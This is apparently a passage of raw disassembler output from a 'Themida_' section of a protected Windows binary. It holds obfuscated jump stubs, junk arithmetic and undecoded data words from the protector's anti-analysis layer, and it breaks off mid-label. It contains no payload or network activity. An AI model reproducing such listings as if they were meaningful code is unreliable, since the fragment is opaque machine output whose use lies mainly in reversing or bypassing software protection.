loc_54BE9C: ; CODE XREF: Themida_:0054D3DEj
pop eax
jmp loc_546C6D
; ---------------------------------------------------------------------------
dw 0CE29h
dd 2434FF59h, 4C4815Bh, 33000000h, 2AE92434h, 8900001Ah
dd 4CE92414h
db 54h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BEBF: ; CODE XREF: Themida_:0054F0D8j
mov [esp], eax
jmp loc_54D8F8
; ---------------------------------------------------------------------------
loc_54BEC7: ; CODE XREF: Themida_:00549B9Ej
pop eax
not ebx
sub ebx, 51C96309h
add ebx, 97AEECBEh
add eax, ebx
pop ebx
push 5BE9h
mov [esp], edx
jmp loc_54744A
; ---------------------------------------------------------------------------
dw 0F800h
dd 4E95B66h, 0BD00000Bh, 4C6F42E9h, 91F5814Dh, 295ABB7Fh
dd 0CF37E9EFh, 0C701FFFFh, 4B95158h, 1000000h, 3C8759CFh
dd 24248B24h, 42568h, 24148900h, 0E9565157h, 0FFFFB833h
dd 0C3FE11B3h, 80E0C380h, 0F1E920F3h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BF33: ; CODE XREF: Themida_:0054BE57j
sub esp, 4
mov [esp], edx
push esp
jmp loc_5471EC
; ---------------------------------------------------------------------------
dw 15Eh
dd 5F04247Ch, 72E9008Fh, 2CFFFFAFh, 0E96D047Ah, 4E80h
; ---------------------------------------------------------------------------
loc_54BF58: ; CODE XREF: Themida_:00549DEBj
sub edi, 0DF5B9B65h
add ebp, edi
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
imul ecx, eax
push ecx
pushf
jmp loc_5464EB
; ---------------------------------------------------------------------------
db 81h
dd 1B04246Ch, 16A4333h, 81042454h, 1B042444h, 5A6A4333h
dd 2CCDE95Ah, 0E9510000h, 662Fh, 0F38032B3h, 3FC38045h
dd 0E380CBFEh, 0EA4AE90Ah, 0C889FFFFh, 46E1E9h, 3EB85000h
dd 25738F5Dh, 51DE439Bh, 0D16C9725h, 42C30D32h, 0E20D1CC8h
dd 2D7C8238h, 6B453FB7h, 6858C501h, 0
dd 98242C81h, 2949773Ch, 481242Ch, 773C9824h, 2434FF49h
dd 4C4835Dh, 0FCB8504Dh, 0E9A39D95h, 4D03h, 48B665Ch, 5A545224h
dd 57E28952h, 4BFh, 5FD8E900h, 305B0000h, 240C8BE8h, 4C481h
dd 15680000h, 89000059h, 0C2B22414h, 669EE280h, 0C852E953h
dd 0C481FFFFh, 4, 5C24048Fh, 50241489h, 0A495E99Ch, 10BFFFFFh
dd 815E5310h, 0B742CBE7h, 9DC7813Ch, 29EC8932h, 0B9E95FF9h
dd 1FFFFF4h, 1EC381D3h, 0FF27A665h, 835A2434h, 565204C4h
dd 0FFB3FDE9h, 605468FFh, 70E90000h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C08F: ; CODE XREF: Themida_:00548103j
pop edx
mov ecx, [esp]
add esp, 4
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
push 4251h
mov [esp], edi
push 3AD0462h
pop edi
add eax, edi
pop edi
jmp loc_5470C4
; ---------------------------------------------------------------------------
loc_54C0BD: ; CODE XREF: Themida_:005468BAj
push esi
push ebp
mov ebp, 43A7089Dh
mov esi, ebp
pop ebp
sub ecx, esi
mov esi, [esp]
sub esp, 4
jmp loc_54B208
; ---------------------------------------------------------------------------
db 81h
dd 2C4h, 94BE900h, 0E9540000h, 295h, 0E959C801h, 0FFFFCE9Bh
dd 0BE243489h, 2, 348BF701h, 4C48324h, 2474FF57h, 243C8B04h
dd 5B2AE9h, 4C68100h, 0E9000000h, 6124h, 8156E189h, 4ECh
dd 24048900h, 341985B8h, 0ED9DE925h, 0DC88FFFFh, 0A6E9525Bh
dd 66FFFFA8h, 8124148Bh, 4ECh, 24048900h, 0FFD60BE9h, 5DEF01FFh
dd 815FFD31h, 0C63C2FE5h, 4E5C123h, 3639F581h, 0F5815F58h
dd 0CCB61EAh, 26BEE9h, 24248B00h, 2896664h, 0FFA376E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C175: ; CODE XREF: Themida_:005519D3j
push esi
jmp loc_550EEC
; ---------------------------------------------------------------------------
loc_54C17B: ; CODE XREF: Themida_:00549DF7j
mov ecx, 4
jmp loc_54AA88
; ---------------------------------------------------------------------------
db 0B7h, 6Fh, 0E9h
dd 12AAh, 5F2434FFh, 62B2E9h, 24148900h, 0C281E289h, 4
dd 8704C283h, 835C2414h, 0C3304C1h, 240C3124h, 8B240C33h
dd 4212424h, 2CE99C24h, 0F7FFFFA3h, 1C783DFh, 0FD25E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C1CA: ; CODE XREF: Themida_:00549C15j
movzx cx, al
jmp loc_54C3A8
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483243Ch, 4EC8104h, 0E9000000h, 3EB3h, 4C481h, 4680000h
dd 0E900001Bh, 0FFFFFEFCh, 2DC2814Ah, 0F7390443h, 4EC81DAh
dd 89000000h, 0E953240Ch, 1CF4h
; ---------------------------------------------------------------------------
loc_54C20C: ; CODE XREF: Themida_:00549EDBj
mov ebx, 65E468C3h
add ebx, 41A8360Eh
sub ebx, eax
jmp loc_5506D4
; ---------------------------------------------------------------------------
loc_54C21E: ; CODE XREF: Themida_:005500D1j
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ecx
push 1BD3h
mov [esp], esp
push eax
mov eax, 4
sub dword ptr [esp+4], 5F8F3400h
push ebp
mov ebp, 29007597h
jmp loc_5520BF
; ---------------------------------------------------------------------------
dd 0EE80D6F6h, 0A5F680FFh, 2C4AB353h, 4D82821h, 0F0005B21h
dd 0FFE3EFE9h, 30DA30FFh, 30D2F6D3h, 30DA30D3h, 41E380D3h
dd 0C380C3FEh, 8BDE281Bh, 0C483241Ch, 2387E904h, 14870000h
dd 4ED6E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C28E: ; CODE XREF: Themida_:0054F640j
mov ebx, 8EDE9F58h
xor ecx, ebx
jmp loc_550F47
; ---------------------------------------------------------------------------
dw 4D66h
dd 0E9DDF766h, 292Bh, 566FE95Dh, 0E7800000h, 0D3CF8016h
dd 0FFDCF0E9h, 0F26866FFh, 29BBE907h, 0FD880000h, 0E9241C8Bh
dd 0FFFFCFBBh, 80E1F280h, 0D000EAC2h, 0FBE9535Ah
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C2D7: ; CODE XREF: Themida_:0054E5C6j
add esp, 4
xchg eax, [esp]
jmp loc_54CA62
; ---------------------------------------------------------------------------
word_54C2E2 dw 8B66h ; DATA XREF: Themida_:00546428o
dd 8950240Ch, 0CA07E9E0h, 0F209FFFFh, 99C2815Eh, 31BF24A3h
dd 0CA015AD1h, 29C28159h, 55657839h, 3D0C85BDh, 8BEA313Eh
dd 0C483242Ch, 0CB73E904h, 0EB80FFFFh, 0E9E328AFh, 0FFFFD08Dh
dd 170FEF81h, 8E91FD4h, 0FFFFF4h, 0EA6866EAh, 489660Ah
dd 8096B424h, 78E95AF4h, 81FFFFA2h, 4ECh, 24248900h, 0CFFAE957h
dd 5CFFFFh, 66D22CF8h, 0E9241C8Bh, 0FFFFFD7Bh
; ---------------------------------------------------------------------------
loc_54C35C: ; CODE XREF: Themida_:00549401j
or edx, eax
shl edx, 1
push edx
jmp loc_550178
; ---------------------------------------------------------------------------
loc_54C366: ; CODE XREF: Themida_:00552062j
sub ecx, esi
push ebx
mov ebx, 49847D9Bh
dec ebx
shl ebx, 8
xor ebx, 0C4D1C173h
jmp loc_54B7C0
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 0C4h
dd 89FFFFCBh, 4C181E1h, 55000000h, 8D0A47BDh, 0C1DDF759h
dd 7CE903EDh, 81000014h, 9F7FA2EBh, 0E9C3015Eh, 0FFFFC73Eh
; ---------------------------------------------------------------------------
loc_54C3A8: ; CODE XREF: Themida_:0054C1CEj
push cx
pushf
jmp loc_5464EB
; ---------------------------------------------------------------------------
dd 162CBF57h, 0F8015AC5h, 83243C8Bh, 836804C4h, 8900001Eh
dd 0E789243Ch, 6646BE56h, 9AE97DF9h, 2DFFFFFAh, 4, 0FFF241E9h
dd 5AF300FFh, 0EB80C328h, 0B25251B0h, 68A2h, 14280000h
dd 24148A24h, 8004C483h, 68E9FBE2h, 5600002Ch, 0FFED48E9h
db 0FFh
; ---------------------------------------------------------------------------
locret_54C405: ; CODE XREF: Themida_:0054761Ej
retn
; ---------------------------------------------------------------------------
dw 0E0E9h
dd 1FFFFA0h, 0C0835BD8h, 2ACE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C416: ; CODE XREF: Themida_:00548EB3j
pop eax
push 3AA5h
mov [esp], edx
push esi
jmp loc_5491EE
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 4812424h, 424h, 240C8B00h, 5BEE9h, 4EC8300h
dd 89240C89h, 149E9E1h, 0CEBD0000h, 942D60Dh, 0F1815DE9h
dd 72ED50EBh, 68FABA52h, 0B850474Ah, 0E70B489Fh, 0FFAB2DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C469: ; CODE XREF: Themida_:0054B177j
pop ebp
add esp, 4
push ebp
mov ebp, 7FE3587h
not ebp
sub ebp, 192617D8h
dec ebp
not ebp
push edx
mov edx, 23244D60h
xor ebp, edx
pop edx
jmp loc_54BD7B
; ---------------------------------------------------------------------------
db 0B8h
dd 6E3B4CB2h, 6D2D4848h, 31458BDFh, 0A3E958C1h, 66FFFFD3h
dd 247BC781h, 19AFE9h, 24043000h, 0A035E99Ch, 4481FFFFh
dd 63FB0424h, 6C297B2Ch, 0B8500424h, 7B2C63FBh, 8244429h
dd 34FF5D58h, 1F5FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C4D6: ; CODE XREF: Themida_:00549EF5j
xchg esi, edx
xchg ebp, esi
sub esp, 4
jmp loc_54F958
; ---------------------------------------------------------------------------
loc_54C4E2: ; CODE XREF: Themida_:005478ABj
add ebx, edi
sub esp, 4
mov [esp], eax
mov eax, 410A0A27h
jmp loc_551001
; ---------------------------------------------------------------------------
dd 8B1DEB80h, 0C483240Ch, 0E9C32804h, 0FFFFCDCAh, 24148B66h
dd 4A1768h, 242C8900h, 0D3E95D54h, 8900000Ch, 0BD552424h
dd 4, 4246C01h, 0EC815B5Dh, 4, 0E9243489h, 0FFFFB739h
dd 42474FFh, 24048F5Bh, 6624248Bh, 9C240CD3h, 0FF9FA2E9h
dd 0F20966FFh, 0F281665Eh, 81660CCFh, 0E9D9B4C2h, 6C7h
; ---------------------------------------------------------------------------
loc_54C55C: ; CODE XREF: Themida_:0054FFDDj
pop esp
mov [esp], ebx
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_5513D9
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 68000000h, 3601h, 51240489h, 7D7FBE56h, 0B7E91534h
dd 52FFFFB3h, 0FF02A6BAh, 0CDC28154h, 567B8801h, 0C36E6FBEh
dd 0A28BE95Eh, 0F781FFFFh, 7B1E098Dh, 5167E947h, 0BD660000h
dd 0F76608B7h, 0CD8166DDh, 8166610Ah, 661B09C5h, 6606EDC1h
dd 690BF581h, 66505166h, 666983B8h, 665DA425h, 4066D0F7h
dd 724A2566h, 4EE3E9h, 0F7895B00h, 84B8505Eh, 31479389h
dd 24048BC7h, 8904EC83h, 0E789243Ch, 4C781h, 0C7810000h
dd 4, 0FFEAB7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C611: ; CODE XREF: Themida_:00546D79j
and ecx, 117D5C40h
push eax
mov eax, 3DF47DB7h
jmp loc_5466AE
; ---------------------------------------------------------------------------
dw 8F5Eh
dd 505C2404h, 0B8E97FB0h, 81000030h, 4C4406C7h, 0C1DFF71Dh
dd 0EF8105EFh, 0D46D1554h, 3C8BFA89h, 0E0895024h, 0FFE1EBE9h
dd 242C87FFh, 5D5EE9h
db 0
; ---------------------------------------------------------------------------
loc_54C655: ; CODE XREF: Themida_:0054D431j
mov edi, [esp]
add esp, 4
push edi
mov edi, 6B6356DAh
jmp loc_54EC4C
; ---------------------------------------------------------------------------
db 54h, 0E9h, 86h
dd 0E900001Dh, 0FFFF9E77h
; ---------------------------------------------------------------------------
loc_54C674: ; CODE XREF: Themida_:0054AD1Bj
mov edi, 748354AEh
xor edi, ecx
pop ecx
neg edi
shl edi, 2
and edi, 69C104C8h
xor edi, 5D925E31h
add eax, edi
jmp loc_548CA1
; ---------------------------------------------------------------------------
dd 3FF9F581h, 0EE894FFFh, 81242C8Bh, 4C4h, 8BF20100h, 0C4812434h
dd 4, 8B241487h, 0C80F2424h, 511768h, 4E3E900h, 4870000h
dd 24248B24h, 81E68956h, 4C6h, 0B77FE900h, 59FFFFh, 0AF45E9F8h
dd 0BB53FFFFh, 2D9D0826h, 0CFE9D3F7h, 8900004Dh, 0B74CE9E6h
db 2 dup(0FFh)
word_54C6F2 dw 8F64h ; DATA XREF: Themida_:0054626Co
dd 9DF1E902h, 4B9FFFFh, 29000000h, 2C8759CDh, 71E95C24h
dd 8B00001Ah, 8B662424h, 5452240Ch, 4C2815Ah, 56000000h
dd 2430E957h, 34310000h, 24343324h, 6824248Bh, 1A9Ch, 83242489h
dd 8F042404h, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 243C895Ch, 4BFh, 24448100h, 976CDF04h, 247C011Ch, 246C8104h
dd 976CDF04h, 243C8B1Ch, 4C481h, 74E90000h, 2CFFFF9Dh
dd 5A6657h, 0E9AE2CF8h, 0FFFFBB87h
; ---------------------------------------------------------------------------
loc_54C784: ; CODE XREF: Themida_:0054F047j
push edx
jmp loc_550777
; ---------------------------------------------------------------------------
word_54C78A dw 8B66h ; DATA XREF: Themida_:00546388o
dd 3C68240Ch, 89000067h, 68E9243Ch, 8900005Bh, 0BB532424h
dd 4, 2335E9h, 44C28100h, 5F212E1Ch, 5CE9D109h, 6600003Ch
dd 88240C89h, 88C5FEFDh, 0E95966EFh, 0FFFFEEBEh, 0BB22C8BAh
dd 5AD1315Dh, 0AB63E955h, 1C89FFFFh, 349FE924h, 83580000h
dd 348904ECh, 0E9E68924h, 0FFFFCF6Fh, 5004E9C1h, 0FFFC9AE9h
dd 814A5AFFh, 0F4CB63EAh, 0FFD70123h, 0E95A2434h, 0FFFFC412h
dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 248B241Ch, 17EA8124h
dd 16CE8BDh, 602BE9D1h, 81590000h, 0F730D1E9h, 81F10110h
dd 0F730D1C1h, 0C1835E10h, 240C8702h, 0A30F665Ch, 0E99C2404h
dd 2954h, 0C8AF0F66h, 0E99C5166h, 0FFFF9C93h
; ---------------------------------------------------------------------------
loc_54C858: ; CODE XREF: Themida_:00550333j
mov ebx, eax
mov eax, [esp]
jmp loc_551E54
; ---------------------------------------------------------------------------
word_54C862 dw 0AD66h ; DATA XREF: Themida_:00546304o
dd 0F2BA6652h, 0D828E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C86E: ; CODE XREF: Themida_:00550693j
pop ebx
pop eax
push ebx
mov ebx, 12A32778h
push edi
push ebx
push 52973339h
pop ebx
jmp loc_54F7E9
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481243Ch, 4, 8904EC83h, 0AEBD242Ch, 0E978428Fh, 0FFFFE7DCh
dd 1C08BE56h, 0CE81790Ch, 58151954h, 1E9D6F7h, 0FF000020h
dd 81592434h, 4C4h, 0C50FE900h, 3487FFFFh, 51665C24h, 5B97E952h
dd 39BF0000h, 120706Eh, 902D5FF8h, 5549BF29h, 0F82ED1BDh
dd 0C1DDF77Ah, 814503EDh, 0A3E3FC5h, 66C58179h, 18A0DF5h
dd 242C8BE8h, 2403E9h, 81F20100h, 44511BEAh, 7FE95E1Dh
dd 8BFFFFF9h, 0C4832424h, 2434FF04h
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_548C95
; ---------------------------------------------------------------------------
db 0FEh
dd 0E99C2404h, 0FFFF9BC7h
; ---------------------------------------------------------------------------
loc_54C924: ; CODE XREF: Themida_:00550BEDj
pop esp
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
jmp loc_546CF2
; ---------------------------------------------------------------------------
db 0Fh, 0B7h, 0C8h
dd 0FFA1ECE9h, 81D7F7FFh, 0D7298DF7h, 0D8C78161h, 0E91EB573h
dd 1BAFh
dword_54C94C dd 9D1C77FFh, 4105866h, 5BE99C24h ; DATA XREF: Themida_:0054644Co
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C95B: ; CODE XREF: Themida_:0055094Bj
xchg esi, ebp
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop edx
xchg edx, [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 7EAFh
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 4
add esi, ecx
pop ecx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
jmp loc_54E8E9
; ---------------------------------------------------------------------------
dw 0C283h
dd 24143302h, 33241431h, 4E92414h, 5F000038h, 7C5EF681h
dd 0BB532469h, 233B1A30h, 7327EB81h, 0E3815CB2h, 6A3D1490h
dd 0E381D3F7h, 7B33B3h, 124AC381h, 0DE314331h, 0FFFC14E9h
dd 28BA2CFFh, 0C130E9D8h, 0C481FFFFh, 4, 9C240401h, 0FF9AFEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C9ED: ; CODE XREF: Themida_:005470A4j
pop esi
jmp loc_550E9C
; ---------------------------------------------------------------------------
align 4
dd 7E952F0h, 83FFFFA7h, 48904ECh, 5E08924h, 4, 1F3FE9h
db 0
byte_54CA0D db 0ADh, 51h, 68h ; DATA XREF: Themida_:00546308o
dd 383h, 0E9242C89h, 0FFFFE34Ah, 0FFC0B60Fh, 34FF8734h
dd 24048B24h, 0FFB64EE9h, 44E952FFh, 88000027h, 5BF988F7h
dd 8324148Bh, 70E904C4h, 0FFFFDAh, 0F2B6E9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA4A: ; CODE XREF: Themida_:0054F5C0j
pop edx
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_5464EB
; ---------------------------------------------------------------------------
db 81h
dd 9B231CE3h, 41D3E90Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CA62: ; CODE XREF: Themida_:0054C2DDj
mov esp, [esp]
mov [esp], ebp
push eax
mov eax, ebx
mov ebp, eax
jmp loc_5481DB
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4C281h, 14870000h, 0B78AE924h, 5259FFFFh, 88535153h
dd 25A9E9C3h
db 2 dup(0)
word_54CA92 dw 8B66h ; DATA XREF: Themida_:00546454o
dd 8950240Ch, 0E95751E0h, 5A5Fh, 24148966h, 0E99C5066h
dd 0FFFF9A3Fh, 4C281h, 0EA830000h, 24148704h, 0D0F1E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CABE: ; CODE XREF: Themida_:0054908Dj
add eax, 4
jmp loc_54ABF4
; ---------------------------------------------------------------------------
dd 5C241487h, 0E9243487h, 4Dh, 1BED814Dh, 31AD8291h, 2C22E9EFh
dd 0C4810000h, 4, 0E904EC83h, 1F3h
; ---------------------------------------------------------------------------
loc_54CAF0: ; CODE XREF: Themida_:0054A5EAj
pop esp
sub esp, 4
mov [esp], ecx
mov ecx, 7B3039A5h
push ebp
jmp loc_551E7B
; ---------------------------------------------------------------------------
db 29h, 0F0h, 0E9h
dd 3735h, 4C481h, 23680000h, 89000044h, 0E0892404h, 32D6E9h
dd 8B665C00h, 0D8E92404h, 52FFFFA0h, 0C281E289h, 4, 8704C283h
dd 515C2414h, 0FFCA67E9h, 4C083FFh, 0FFE42CE9h, 3E7C0FFh
dd 2C4DEF80h, 81F828D5h, 4ECh, 0EA80E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CB5E: ; CODE XREF: Themida_:00547A3Ej
pop eax
and ecx, esi
pop esi
jmp loc_54F159
; ---------------------------------------------------------------------------
loc_54CB67: ; CODE XREF: Themida_:005496B9j
mov ebp, [esp]
jmp loc_546758
; ---------------------------------------------------------------------------
loc_54CB6F: ; CODE XREF: Themida_:0054847Bj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 46FE7D5Eh
mov edx, esi
pop esi
shl edx, 3
shl edx, 3
dec edx
not edx
jmp loc_54AAA5
; ---------------------------------------------------------------------------
byte_54CB99 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00546350o
dd 5724048Bh, 0FFEC06E9h, 240489FFh, 0FF993EE9h, 8B665EFFh
dd 89532414h, 4C381E3h, 81000000h, 2C3h, 241C8700h, 0EB81665Ch
dd 66572BBCh, 6640FEBFh, 2870F781h, 1EB8166h, 0FB016669h
dd 1C38166h, 81665F69h, 665681EBh, 8166C301h, 815681C3h
dd 4ECh, 243C8900h, 294868h, 242C8900h, 0C581E589h, 4
dd 8704ED83h, 895C242Ch, 0BE662434h, 0BF660199h, 296645ACh
dd 80E95EF7h, 66FFFFF8h, 34FFD029h, 0EE4BE924h, 487FFFFh
dd 24248B24h, 3DF068h, 24348900h, 0B766857h, 515F11AAh
dd 383AE9h
db 0
; ---------------------------------------------------------------------------
loc_54CC49: ; CODE XREF: Themida_:005476B6j
push eax
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
push dword ptr [esp]
pop eax
push ecx
push 48CFh
jmp loc_546F77
; ---------------------------------------------------------------------------
db 81h, 0C4h, 2
dd 53000000h, 0C3FEE9B3h, 0FEECE380h, 20EB80CBh, 2A63E9h
dd 24048F00h, 0DD8BE95Ch, 166FFFFh, 665966CDh, 565DEA01h
dd 0A4686652h, 0D52CE905h
db 2 dup(0FFh)
word_54CC96 dw 1CF6h ; DATA XREF: Themida_:0054628Co
dd 4CE99C24h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CC9F: ; CODE XREF: Themida_:0054A80Bj
push edi
push dword ptr [esp+4]
jmp loc_546E94
; ---------------------------------------------------------------------------
byte_54CCA9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00546480o
dd 0E92434FFh, 0FFFFF103h
; ---------------------------------------------------------------------------
loc_54CCB4: ; CODE XREF: Themida_:00548869j
mov edi, 0F825E72Ah
push edi
push ebp
mov ebp, 4C02419h
add [esp+4], ebp
pop ebp
pop eax
push edi
mov edi, 4C02419h
sub eax, edi
pop edi
pop edi
sub eax, 3CF3208Fh
jmp loc_5495D9
; ---------------------------------------------------------------------------
loc_54CCDA: ; CODE XREF: Themida_:0054BBEAj
push ebx
neg dword ptr [esp]
jmp loc_54F9F4
; ---------------------------------------------------------------------------
db 89h
dd 4BBD242Ch, 0E91E745Dh, 4E59h, 56241489h, 3A0EE9h, 4C28100h
dd 83000000h, 148704C2h, 0CA815C24h, 35EE54CCh, 2E5FB850h
dd 37057CDEh, 29FB1AEFh, 0CAE958C2h
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CD1F: ; CODE XREF: Themida_:005471A6j
shr ecx, 6
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5488C2
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0BF243C89h, 36FB050Fh, 8102E7C1h, 5D4B55EFh, 3EFC158h
dd 6D9AEF81h, 0C2E91083h, 5300004Dh, 8AE95CB7h, 0B6FFFFB2h
dd 0F5C680F1h, 5AF100h, 61E959C8h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CD6F: ; CODE XREF: Themida_:0054F4C9j
jmp loc_5464EB
; ---------------------------------------------------------------------------
dd 7059C181h, 0CE896DD5h, 5EF30159h, 86A68h, 0DA05E900h
dd 0C381FFFFh, 5E59401Eh, 0EB81EB01h, 5E59401Eh, 4C3815Dh
dd 53000000h, 42474FFh, 24048F5Bh, 0E924248Bh, 0FFFF973Bh
; ---------------------------------------------------------------------------
loc_54CDB0: ; CODE XREF: Themida_:00549DBFj
sub ebp, ebx
pop ebx
xchg esi, ebp
jmp loc_551F45
; ---------------------------------------------------------------------------
dw 0F781h
dd 70BA3D2Ah, 22E9F931h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CDC7: ; CODE XREF: Themida_:00552221j
push esp
push dword ptr [esp]
pop ebx
jmp loc_551FAD
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd offset dword_4E109C+4Dh
dd 0FFEF8100h, 4FFFFFFFh, 414568h, 24048900h, 0BF0CC6B8h
dd 7BE5614h, 0E90C1A6Dh, 1399h, 0A82DF029h, 0E97EDE03h
dd 390Dh, 240C8B5Eh, 8304C483h, 48704C0h, 4055C24h, 53000000h
dd 2BBh, 0E9D80100h, 102Ah
; ---------------------------------------------------------------------------
loc_54CE24: ; CODE XREF: Themida_:0054DFBDj
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 50DA722Eh
shr edx, 4
or edx, 5BD10639h
shl edx, 6
add edx, 8963144h
sub ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_54F2CE
; ---------------------------------------------------------------------------
dw 4BEh
dd 81598C6Ah, 580380E6h, 0C1E6D130h, 8BE906E6h, 80FFFFEEh
dd 9FE9DDEEh
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CE6F: ; CODE XREF: Themida_:00547698j
mov eax, 69A45DA9h
shr eax, 1
shr eax, 7
xor eax, 16834EE6h
dec eax
xor eax, 5F2FCA88h
add ebp, eax
pop eax
pop esi
push eax
jmp loc_5475F6
; ---------------------------------------------------------------------------
dw 58E9h
dd 50FFFF96h, 927024B8h, 0DD8F761h, 7FE625D2h, 0E948D8F7h
dd 17CFh, 0C7C6815Eh, 0E9564C69h, 5127h, 2EF81h, 3C870000h
dd 429AE924h, 53550000h, 0CD0926BBh, 5BDD89FFh, 15DE901h
dd 0D6BEE9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CED6: ; CODE XREF: Themida_:0054A2BEj
pop edi
add esp, 4
sub edi, 1
sub edi, 4B660D80h
jmp loc_547813
; ---------------------------------------------------------------------------
loc_54CEEB: ; CODE XREF: Themida_:00551256j
mov [esp], esi
push ebx
pop esi
jmp loc_54AA4B
; ---------------------------------------------------------------------------
db 80h, 0C7h, 25h
dd 48E9FE00h, 53000016h, 7F23C4BBh, 9FC38131h, 816ADD26h
dd 7AE826C3h, 0A28E9DDh
db 2 dup(0)
word_54CF16 dw 32FFh ; DATA XREF: Themida_:005463C8o
dd 0FF95CEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CF1D: ; CODE XREF: Themida_:0054DCBBj
push ebx
mov ebx, edi
mov esi, ebx
pop ebx
push esi
add dword ptr [esp], 7651599Ch
jmp loc_54D429
; ---------------------------------------------------------------------------
dd 148B7104h, 5B545324h, 56D2E9h, 4C58100h, 81000000h
dd 4C5h, 242C8700h, 0E389535Ch, 4C381h, 0EB830000h, 74FF5304h
dd 8F5B0424h, 895C2404h, 0ABE9240Ch, 0BD000009h, 16576A7Ah
dd 48B4ED81h, 0ECE94854h, 81000050h, 4C6h, 0ADE9E900h
dd 0C781FFFFh, 4, 8704C783h, 535C243Ch, 0C381E389h, 4
dd 8904EC83h, 4BE2434h, 1000000h, 24348BF3h, 271EE9h, 6ABA5200h
dd 0B8129319h, 670660BEh, 0D5AD031h, 1F5B1E2Ah, 96EBE956h
dd 815AFFFFh, 4C2h, 2685000h, 58000000h, 18E9C201h, 5B000034h
dd 68A368h, 241C8900h, 8E35FCBBh, 0BCB814Ch, 0F77D701Fh
dd 0CC9EE9D3h, 0E180FFFFh, 0A79CE9A5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D002: ; CODE XREF: Themida_:00548C41j
mov ebp, 2BBC0B7Eh
neg ebp
shl ebp, 8
and ebp, 0E3E5987h
sub ebp, 585370C7h
add eax, ebp
pop ebp
xor esi, eax
pop eax
mov ecx, esi
mov esi, [esp]
add esp, 4
and eax, ecx
pop ecx
jmp loc_547893
; ---------------------------------------------------------------------------
dw 0CD29h
dd 31F8E9h, 5F00100h, 6FEE22C6h, 2BE565Eh, 5000000h, 6C143186h
dd 862DF001h, 8B6C1431h, 0C4832434h, 24043304h, 33240431h
dd 248B2404h, 0C8B6624h, 4EC8124h, 89000000h, 58542404h
dd 405h, 6CA96800h, 34890000h, 214CBE24h, 0E6C1782Ah, 79F68104h
dd 0F777CD52h, 79E681DEh, 81200810h, 103FEEh, 0F3BF5700h
dd 1075550h, 243C8BF8h, 104C483h, 0F3BE56F0h, 2D075550h
dd 4DED7EDFh, 0FFFA4CE9h, 58E788FFh, 0FD309CB5h, 0FFE61AE9h
dd 72F181FFh, 0E9F9E6C8h, 2860h, 0DCED8145h, 1DC12F7h
dd 242C8BEFh, 5757E9h, 79E30500h, 4EE90AD4h, 0BB000031h
dd 3C728E2h, 2A14BF57h, 0FB092F21h, 2A35E95Fh, 0C890000h
dd 0E9F9B524h, 0FFFFB01Eh, 5BDF3158h, 43ADF781h, 2CE98876h
dd 8000000Dh, 0E950AFCDh, 3AD9h, 5B2434FFh, 0E904C483h
dd 0FFFF93BFh
; ---------------------------------------------------------------------------
loc_54D12C: ; CODE XREF: Themida_:0054F0E5j
pop esi
jmp loc_548343
; ---------------------------------------------------------------------------
loc_54D132: ; CODE XREF: Themida_:00547883j
